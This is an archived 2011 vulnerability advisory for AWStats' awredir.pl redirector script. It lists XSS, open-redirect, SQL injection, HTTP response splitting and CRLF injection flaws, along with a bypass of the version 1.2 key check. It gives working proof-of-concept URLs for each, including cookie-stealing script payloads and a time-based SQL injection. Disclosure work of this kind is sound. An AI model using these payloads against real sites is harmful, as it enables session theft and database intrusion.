Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:27052
HistorySep 26, 2011 - 12:00 a.m.

Multiple vulnerabilities in AWStats

2011-09-2600:00:00
vulners.com
19

Hello 3APA3A!

I want to warn you about multiple security vulnerabilities in AWStats.

These are Cross-Site Scripting, Redirector, SQL Injection, HTTP Response Splitting and CRLF Injection vulnerabilities in AWStats (in awredir).

AWStats includes script Advanced Web Redirector (awredir.pl). There were already found (by trev and tx) XSS and Redirector vulnerabilities in awredir.pl in 2008 (http://sla.ckers.org/forum/read.php?3,23620). They have not mentioned about SQL Injection, maybe it was due to that affected functionality of the script was turned off by default.

As I found, version awredir 1.1 (build 1.5) was not vulnerable to XSS, but version 1.1 (build 1.6) was already vulnerable.

There are XSS, Redirector and SQL Injection vulnerabilities in version 1.1 of the script. And in version 1.2 the protection was added - parameter key. Which can even be not used (if $KEYFORMD5 is empty), or it can be revealed by picking up. So the protection with key is not sufficient and can be bypassed. The parameter key will be needed for version 1.2 for conducting of Redirector, SQL Injection, HTTP Response Splitting and CRLF Injection attacks.

In version 1.2 XSS was fixed, but Redirector and SQLi holes were left and HTTPRS, CRLF Injection and two new XSS were added.

XSS (WASC-08) (in versions <=1.1):

http://site/awredir.pl?url=javascript:alert&#40;document.cookie&#41;

Redirector (URL Redirector Abuse in WASC 2.0) (WASC-38):

http://site/awredir.pl?url=http://websecurity.com.ua

In version 1.2:

http://site/awredir.pl?key=0f3830803a70cc1636af3548b66ed978&amp;url=http://websecurity.com.ua

SQL Injection (WASC-19):

http://site/awredir.pl?url=&#39;&#37;20and&#37;20benchmark&#40;10000,md5&#40;now&#40;&#41;&#41;&#41;/*

In version 1.2:

http://site/awredir.pl?key=f38ed1cdb04c8bda5386f7755a4e1d3e&amp;url=&#39;&#37;20and&#37;20benchmark&#40;10000,md5&#40;now&#40;&#41;&#41;&#41;/*

SQL Injection attack is possible if $TRACEBASE is turned on and DBI is included.

XSS (WASC-08) (in version 1.2):

http://site/awredir.pl?url=&#37;3Cscript&#37;3Ealert&#40;document.cookie&#41;&#37;3C/script&#37;3E

http://site/awredir.pl?key=&#37;3Cscript&#37;3Ealert&#40;document.cookie&#41;&#37;3C/script&#37;3E

HTTP Response Splitting (WASC-25):

http://site/awredir.pl?key=04ed5362e853c72ca275818a7c0c5857&amp;url=&#37;0AHeader:1

CRLF Injection (Improper Input Handling in WASC 2.0) (WASC-20):

http://site/awredir.pl?key=4b9faa91e2529400c4f3c70833b4e4a5&amp;url=&#37;0AText

CRLF Injection in logs is possible at turned on $DEBUG and/or $TRACEFILE.

Vulnerable are all versions of AWStats (6.0, 7.0 and previous versions).

I mentioned about this vulnerabilities at my site:
http://websecurity.com.ua/5380/

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua